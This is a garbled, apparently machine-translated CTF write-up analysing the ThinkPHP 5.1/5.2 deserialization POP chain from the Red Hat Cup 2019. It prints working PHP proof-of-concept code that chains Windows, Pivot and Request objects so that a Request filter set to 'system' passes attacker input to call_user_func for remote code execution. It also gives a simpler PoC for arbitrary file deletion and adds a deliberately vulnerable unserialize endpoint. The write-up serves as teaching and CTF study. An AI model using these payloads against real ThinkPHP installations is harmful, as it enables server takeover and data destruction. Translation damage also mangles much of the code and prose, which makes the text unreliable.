preface

As a Web dish chicken, I participated in the Red Hat Cup with my teachers before, but there was only 0 output. At that time, I only knew that it was the deserialization vulnerability of ThinkPHP5.2, but I didn’t continue to do it because I didn’t have enough time. Only after the game to check the missing, but also through the TP5.2 deserialized POP chain to learn the big guys’ construction ideas, have to say that the POP chain is really very strong, in the process of analysis, my mother has been asking me why kneeling to play computer ~

Red Hat Cup 2019 Ticket_System idea

There is xxE vulnerability in the direct input of XML data, xxE can be used to read the hinting. TXT file in the root directory of the server. There is a hint in this file, which probably means RCE is needed. This is the deserialization vulnerability that will be analyzed next. Of course, there are still some operations to be performed after rCE, see Writeup by X1cT34m:

xz.aliyun.com/t/6746

Thinkphp 5.1 Deserialize pop chain analysis

Here, 5.1 is selected for analysis. 5.2 is not much different from this one, so I will choose one of them because there are public POCS on the Internet, so we can use POC to reverse analyze this POP chain. One way to write poC first:


      
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
 function __construct(a){  $this->append = ["axin"= > ['calc.exe'.'calc']]. $this->data = ["axin"= >new Request()];  } } class Request {  protected $hook = [];  protected $filter = "";  protected $config = [];  function __construct(a){  $this->filter = "system";  $this->config = ["var_ajax"= >'axin'];  $this->hook = ["visible"= > [$this."isAjax"]]. } }   namespace think\process\pipes;  use think\model\concern\Conversion; use think\model\Pivot; class Windows {  private $files = [];   public function __construct(a)  {  $this->files=[new Pivot()];  } } namespace think\model;  use think\Model;  class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ? > Copy the code

It can be seen that the POC is finally serialized a Windows instance, so the trigger point of deserialization must be the magic method in Windows, such as __weakup(), __destruct(), which is often used in the anti-sequence. Looking at the source code, there is a magic method __destruct() in the Windows class. This magic method is called when the object is destroyed, and two functions are called

public function __destruct(a)
{
    $this->close();
    $this->removeFiles();
}
Copy the code

There is nothing in the close function that we are interested in, but the removeFiles() function is interesting:

    private function removeFiles(a)
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
 }  }  $this->files = [];  } Copy the code

Traverses the object’s files variable and deletes it if the value is the path to an existing file. The $this->files variable is under our control, so if there is a deserialization point, this is an arbitrary file deletion vulnerability. To show this vulnerability more clearly, let’s construct the PoC ourselves:


      
namespace think\process\pipes;

class Windows{
    private $files = [];
 public function __construct(a)  {  $this->files = ["/opt/lampp/htdocs/tp5/public/123.txt"];  } }  echo urlencode(base64_encode(serialize(new Windows()))); Copy the code

The construction of POC is also relatively simple. The point to be careful is not to ignore namespace. The namespace in poC should be the same as that of Windows class in TP, so that it can be deserialized correctly. The above POC results in a Base64-encoded serialized string:

Then, to reproduce this arbitrary file deletion, we also need to manually construct a deserialization point in our TP application. I’ll put it in my Index controller

I added a unser method to the Index controller and base64 decoded and deserialized the variables we passed. We then post the serialized data we just generated

This can successfully delete the file, but in fact, WHEN I reproduce the point of deleting the file, there is a situation that can not be deleted, because of the permission, maybe your Web server user does not have the permission to delete the file you specified, this point needs to pay attention to. Ok, file deletion is just a side note, our ultimate goal is to implement RCE, combined with the PoC given at the beginning, we can see the author here$this->filesThe Pivot class is file_exists in the removeFiles function. File_exists () treats the passed argument as a string, but we pass an object, so the object is automatically called__toString()Magic method (knowledge ah! Pivot does not implement __toString(), but in POC he inherits the Model class, so I continue to follow the Model class and discover that he does not implement toString either. Then I fell into thinking about life and society, and later I learned that traits have existed since PHP 5.4

Note: The appearance of traits is to solve the problem that PHP does not support multiple inheritance. Generally, we extract the common features of some classes and write them into a trait. Then, if a class wants to use something in a trait, it just needs to use the use keyword to include the trait. But in a different form, I feel more like file containment. The definition of traits is also simple, like:

trait Conversion
{
xxxxxxxxx
}
Copy the code

In addition, there are several traits introduced in the Model. One of these traits, Conversion, has a __toString method, from which the Pivot object’s __toString() is inherited, so let’s follow up:

public function __toString(a)
{
    return $this->toJson();
}
Copy the code

Call toJSON, follow up

    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
Copy the code

Follow up toArray()

public function toArray(a)
    {
        $item       = [];
        $hasVisible = false;

 foreach ($this->visible as $key => $val) {  if (is_string($val)) {  if (strpos($val, '. ')) {  list($relation, $name) = explode('. ', $val);  $this->visible[$relation][] = $name;  } else {  $this->visible[$val] = true;  $hasVisible = true;  }  unset($this->visible[$key]);  }  }   foreach ($this->hidden as $key => $val) {  if (is_string($val)) {  if (strpos($val, '. ')) {  list($relation, $name) = explode('. ', $val);  $this->hidden[$relation][] = $name;  } else {  $this->hidden[$val] = true;  }  unset($this->hidden[$key]);  }  }   // Merge associated data  $data = array_merge($this->data, $this->relation);   foreach ($data as $key => $val) {  if ($val instanceof Model || $val instanceof ModelCollection) {  // Associate model objects  if (isset($this->visible[$key])) {  $val->visible($this->visible[$key]);  } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {  $val->hidden($this->hidden[$key]);  }  // Associate model objects  if (!isset($this->hidden[$key]) || true! = =$this->hidden[$key]) {  $item[$key] = $val->toArray();  }  } elseif (isset($this->visible[$key])) {  $item[$key] = $this->getAttr($key);  } elseif (!isset($this->hidden[$key]) && ! $hasVisible) { $item[$key] = $this->getAttr($key);  }  }   // Append attributes (must define a getter)  if (!empty($this->append)) {  foreach ($this->append as $key => $name) {  if (is_array($name)) {  // Appends the associated object attributes  $relation = $this->getRelation($key);   if(! $relation) { $relation = $this->getAttr($key);  $relation->visible($name);  }   $item[$key] = $relation->append($name)->toArray();  } elseif (strpos($name, '. ')) {  list($key, $attr) = explode('. ', $name);  // Appends the associated object attributes  $relation = $this->getRelation($key);   if(! $relation) { $relation = $this->getAttr($key);  $relation->visible([$attr]);  }   $item[$key] = $relation->append([$attr])->toArray();  } else {  $item[$name] = $this->getAttr($name, $item);  }  }  }   return $item;  } Copy the code

$this->append; $this->append; $this->append; This ->append = [“axin”=>[“calc.exe”,”calc”]], so $key = axin,$name = [“calc.exe”,”calc”], then we go to the first if branch and follow up with getRelation

public function getRelation($name = null)
{
   if (is_null($name)) {
       return $this->relation;
   } elseif (array_key_exists($name, $this->relation)) {
 return $this->relation[$name];  }  return; } Copy the code

$relation = getAttr(); $relation = getAttr();

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
 } catch (InvalidArgumentException $e) {  $notFound = true;  $value = null;  }   // Check the property getter  $fieldName = Loader::parseName($name);  $method = 'get' . Loader::parseName($name, 1).'Attr';   if (isset($this->withAttr[$fieldName])) {  if ($notFound && $relation = $this->isRelationAttr($name)) {  $modelRelation = $this->$relation();  $value = $this->getRelationData($modelRelation);  }   $closure = $this->withAttr[$fieldName];  $value = $closure($value, $this->data);  } elseif (method_exists($this, $method)) {  if ($notFound && $relation = $this->isRelationAttr($name)) {  $modelRelation = $this->$relation();  $value = $this->getRelationData($modelRelation);  }   $value = $this->$method($value, $this->data);  } elseif (isset($this->type[$name])) {  // Type conversion  $value = $this->readTransform($value, $this->type[$name]);  } elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {  if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [  'datetime'. 'date'. 'timestamp'.]) { $value = $this->formatDateTime($this->dateFormat, $value);  } else {  $value = $this->formatDateTime($this->dateFormat, $value, true);  }  } elseif ($notFound) {  $value = $this->getRelationAttribute($name, $item);  }   return $value;  } Copy the code

I’m asking if you want to see a bunch of code! As a lazy person, I don’t want to see this, and this is just chain analysis, not bug digging, so I just need to know the return value of this function, I don’t care what it does, so I just need to know var_dump method. To see how my POC deserialization works, I print key values in multiple places.

But some friend certainly don’t know how to trigger the var_dump here, the deserialization loophole, again they serialized execution in the chain, then they will of course, the premise is that we construct the poc is correct, but the beginning is not already gave the ready-made poc, direct copy is ok, but in line with the purpose of the study, our own structure step by step. At this point, my POC is as follows:


      
namespace think;
class Model{
    protected $append = [];
    private $data = [];
  public function __construct(a)  {  $this->append = ["axin"= > ["123"."456"]]. $this->data = ["axin"= >"1233"];  } }    namespace think\model;  use think\Model;  class Pivot extends Model{  }  namespace think\process\pipes;  use think\model\Pivot;  class Windows{  private $files = [];  public function __construct(a)  {  $this->files = [new Pivot()];  } }  echo urlencode(base64_encode(serialize(new Windows()))); Copy the code

Then send the generated serialized data to get the value of $relation

In order to create a poC, we need to read the source code of getAttribute 23333(oops, trial and error), but we do not need to read the whole source code. We will simplify getAttribute as follows:

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
 } catch (InvalidArgumentException $e) {  $notFound = true;  $value = null;  }   xxxxxxxxxxx   return $value;  } Copy the code

As you can see, $value is returned, and value comes from getData, so we need to follow through:

public function getData($name = null)
{
    if (is_null($name)) {
        return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
 return $this->data[$name];  } elseif (array_key_exists($name, $this->relation)) {  return $this->relation[$name];  }  throw new InvalidArgumentException('property not exists:' . static::class . '- >' . $name); } Copy the code

$this->data[$this->data]; $this->data[$this->data]; So the return value here is completely in our hands. $this->data[$name]; $relation->visible($name); $this->data[$name]; When a method is called that does not exist, the object’s __call() magic method is automatically called if the object implements or inherits a __call() method.

In normal applications, the __call method is designed to be fault-tolerant, so as to avoid calling non-existent methods and reporting errors directly, which is very user unfriendly. So __call is either a friendly reminder that the method doesn’t exist, or it calls another method from somewhere else, so it usually has call_user_func_array and call_user_func functions (so, by now, We’re finally touching a bit of RCE’s tail). Let’s look at a simple example of the __call function in use:

public function __call($method, $args)
{
    if (function_exists($method)) {
        return call_user_func_array($method, $args);
    }
} Copy the code

The __call method of the form above is difficult to exploit, because $method is usually out of control in the deserialization chain, but master is master.

public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);
        return call_user_func_array($this->hook[$method], $args);
 }   throw new Exception('method not exists:' . static::class . '- >' . $method); } Copy the code

$this->hook $this->hook $this->hook Well, then we’re already RCE.

Don’t worry, we seem to forget something, there was a wave of $args array_unshift operation, direct it $this in the front of the $args array, here you might have forgotten how much $args, $this = $this = $this = $this = $this = $this = $this = $this = $this = $this $this->hook[$method] = $this->hook[$method] = $this->hook[$method] = $this->hook[$method] = $this->hook[$method] = $this->hook[$method

An object -> method ($this,”calc.exe”,”calc”), and $this represents an instance of the Request class. So here, if I was digging up here, and I’m a novice, I might be looking for a method in a class that calls some dangerous function like eval,system,call_user_func, and happens to be the last two arguments to that method, If you can’t find one of the parameters in calc, you can’t do anything about it. But shifters being shifters, they also know that TP has a filter, so of course they continue to build attack chains

At this moment, I even can say, I also ~, is also worth proud of ah, but only beautiful boy tears, and big guy than, in addition to handsome, I have nothing

Although I don’t know the teacher how to think of the filter, and I don’t know the filter has a purpose, but in the process of my analysis, I met this kind of circumstance, released in another train of thought, since I can’t find the above said that kind, so if you can find a class of methods, this method calls the risk function, And this dangerous function does not use the $args I just passed call_user_func_array, but the parameters of this dangerous function are under our control?

Does that sound a little convoluted? This is deserialization. If the arguments to a dangerous function are all attributes of the object in which it is located, is there any problem? To make it easier to understand, I’ll construct a small demo:


      

class Test{
 public $name;
 public $age;
 public function show($height=180){  eval($name+":"+$age);  } } Copy the code

Is there an example like the one above where no arguments are passed and we can control what is in eval? And the use of links down to do is actually to find this function, but the author to find this function process I feel very awesome, because this function is hidden quite deep, said this, I want to cry again

Insert a picture description here

For the sake of description, let’s follow the POC. You can see that all the classes in POC have already appeared in my article, so the final RCE trigger must also occur in these classes. The only class that has not been identified is Request. $this->filter; $this->filter; So we assume that the deserialization process must have called the code execution hazard functions (eval, call_user_func, call_user_func_array, preg_replace, array_map, and so on) in one of the methods of the Request class, Then I searched the Request class for these dangerous functions. I found four methods in the Request class that called the dangerous function call_user_func: __call, token, cache, filterValue. The token and the call_user_func arguments in the cache are not controllable. Although the value of the filterValue() function is not controllable, the filterValue() function is called by other methods in the Request class. So let’s go back a little bit and see if we can control the passing parameters at the call.

For ease of understanding, the filterValue function is posted below. (As you can see, to implement code execution, we need to fully control the call_user_func argument, $this, XXX, XXX]; $this, XXX, XXX; $this, XXX; Let’s see if we can do this indirectly by calling filterValue.)

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
 if (is_callable($filter)) {  // Call function or method filtering  $value = call_user_func($filter, $value);  } elseif (is_scalar($value)) {  if (false! == strpos($filter,'/')) {  // Regular filtering  if(! preg_match($filter, $value)) { // Failed to match returns the default value  $value = $default;  break;  }  } elseif (!empty($filter)) {  // If the filter function does not exist, use filter_var to filter  // If filter is a non-integer value, call filter_id to obtain the filter ID  $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));  if (false === $value) {  $value = $default;  break;  }  }  }  }   return $value;  } Copy the code

I’m going to do a global search to find the input function, but the parameters of the input function are not controllable either, and then I’m going to go up to the place where THE input was called, and I’m going to find the param function, and again the parameters are not controllable, so I’m going to go back and find the isAjax function, and you can see that the param method was called in the isAjax method, And the parameter $name is controllable, which is the complete attack chain publicly available on the Internet. In the real vulnerability mining process, a little backtracking is needed, but in the analysis process, we combined PoC to follow the chain, which is easier to understand.

Let’s start with isAjax(). You can see that isAjax meets all of the conditions we mentioned before. It doesn’t need to pass any arguments, and the parameters inside the param() function are controllable.

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

 if (true === $ajax) {  return $result;  } The param function is called here and passed in$this->config['var_ajax'$name = $this->config['var_ajax'] for axin $result = $this->param($this->config['var_ajax'])?true : $result;  $this->mergeParam = false;  return $result;  } Copy the code

The param() method, whose parameter changes are explained in the comment:

    public function param($name = ' ', $default = null, $filter = ' ')
    {
        if (!$this->mergeParam) { // The initial value of mergeParam is false, so the branch is entered
            $method = $this->method(true);

 // Automatically get the request variable  switch ($method) {  case 'POST':  $vars = $this->post(false);  break;  case 'PUT':  case 'DELETE':  case 'PATCH':  $vars = $this->put(false);  break;  default:  $vars = [];  }  // Merge the current request parameters with the parameters in the URL address  // The parameters in the URL will be retrieved regardless of whether a GET request is made  $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));   $this->mergeParam = true;  }   if (true === $name) {  // Get an array containing file upload information  $file = $this->file();  $data = is_array($file) ? array_merge($this->param, $file) : $this->param;   return $this->input($data, ' ', $default, $filter);  }  $this->param; $name = axin; $default=null;  return $this->input($this->param, $name, $default, $filter);  } Copy the code

Input () method:

    public function input($data = [], $name = ' ', $default = null, $filter = ' ')
    {
        if (false === $name) {
            // Get the raw data
            return $data;
 }   $name = (string) $name;  if (' '! = $name) { / / name  if (strpos($name, '/')) {  list($name, $type) = explode('/', $name);  }  $data = $data[$name]  $data = $this->getData($data, $name);   if (is_null($data)) {  return $default;  }   if (is_object($data)) {  return $data;  }  }   // Parse the filter  $filter = $this->getFilter($filter, $default);   if (is_array($data)) {  array_walk_recursive($data, [$this.'filterValue'], $filter);  if (version_compare(PHP_VERSION, '7.1.0'.'<')) {  // Restore the internal pointer consumed in array_walk_recursive when the PHP version is lower than 7.1  $this->arrayReset($data);  }  } else {  $this->filterValue($data, $name, $filter);  }   if (isset($type) && $data ! == $default) { // Cast  $this->typeCast($data, $type);  }   return $data;  } Copy the code

As you can see from the input method above, getData is called as follows:

According to poC, $data= user get and post array, $name=axinprotected function getData(array $data, $name)
    {
        foreach (explode('. ', $name) as $val) {
            if (isset($data[$val])) {
 $data = $data[$val];  } else {  return;  }  } Here's $data = $data [$name] return $data;  } Copy the code

So if we pass axin=calc in post or GET, the data returned here is calc. The input () function then calls getFilter.

Here's $filter =' 'Rather thannull,$default=null
    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
 } else { You can see it here$this->filter is assigned to $filter, which is the poC system$filter = $filter ? :$this->filter;  if (is_string($filter) && false === strpos($filter, '/')) {  $filter = explode(', ', $filter);  } else {  $filter = (array) $filter;  }  }   $filter[] = $default; Here is $filter = ['system'.null]  return $filter;  } Copy the code

$this->filterValue($data, $name, $filter);

Now $data is calc,$name is axin, and $filter is system, and we take that data into filterValue.

private function filterValue(&$value, $key, $filters)
    {
Here I removedefaultThe $filters array is left with system        $default = array_pop($filters);

 foreach ($filters as $filter) {  if (is_callable($filter)) {  // Call function or method filtering  echo "Method execution \n"; For clarity, I'll print the values of $filter and $value. echo "$filter for:".$filter."\ n $value for".$value;  $value = call_user_func($filter, $value);  } elseif (is_scalar($value)) {  if (false! == strpos($filter,'/')) {  // Regular filtering  if(! preg_match($filter, $value)) { // Failed to match returns the default value  $value = $default;  break;  }  } elseif (!empty($filter)) {  // If the filter function does not exist, use filter_var to filter  // If filter is a non-integer value, call filter_id to obtain the filter ID  $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));  if (false === $value) {  $value = $default;  break;  }  }  }  }   return $value;  } Copy the code

You can see that the data is inserted directly into the call_user_func, and the burp echo request responds as follows:

Insert a picture description here

The calculator didn’t pop up due to my local configuration, but it did call call_user_func. Attack the chain:

Quote from https://xz.aliyun.com/t/6619\thinkphp\library\think\process\pipes\Windows.php - > __destruct()

\thinkphp\library\think\process\pipes\Windows.php - > removeFiles()

Windows.php: file_exists()  thinkphp\library\think\model\concern\Conversion.php - > __toString()  thinkphp\library\think\model\concern\Conversion.php - > toJson()  thinkphp\library\think\model\concern\Conversion.php - > toArray()  thinkphp\library\think\Request.php - > __call()  thinkphp\library\think\Request.php - > isAjax()  thinkphp\library\think\Request.php - > param()  thinkphp\library\think\Request.php - > input()  thinkphp\library\think\Request.php - > filterValue() Copy the code

After analyzing this use chain, I really feel that the masters are too strong, especially in the end to find this isAjax function, need a lot of patience to dig!

One last question, going back to the red Hat cup, one more question is how to trigger deserialization, because WHEN I reproduce this chain I always construct deserialization points, but there is no such obvious input point in the question. Deserialization using the Phar archive, see: Phar utilization posture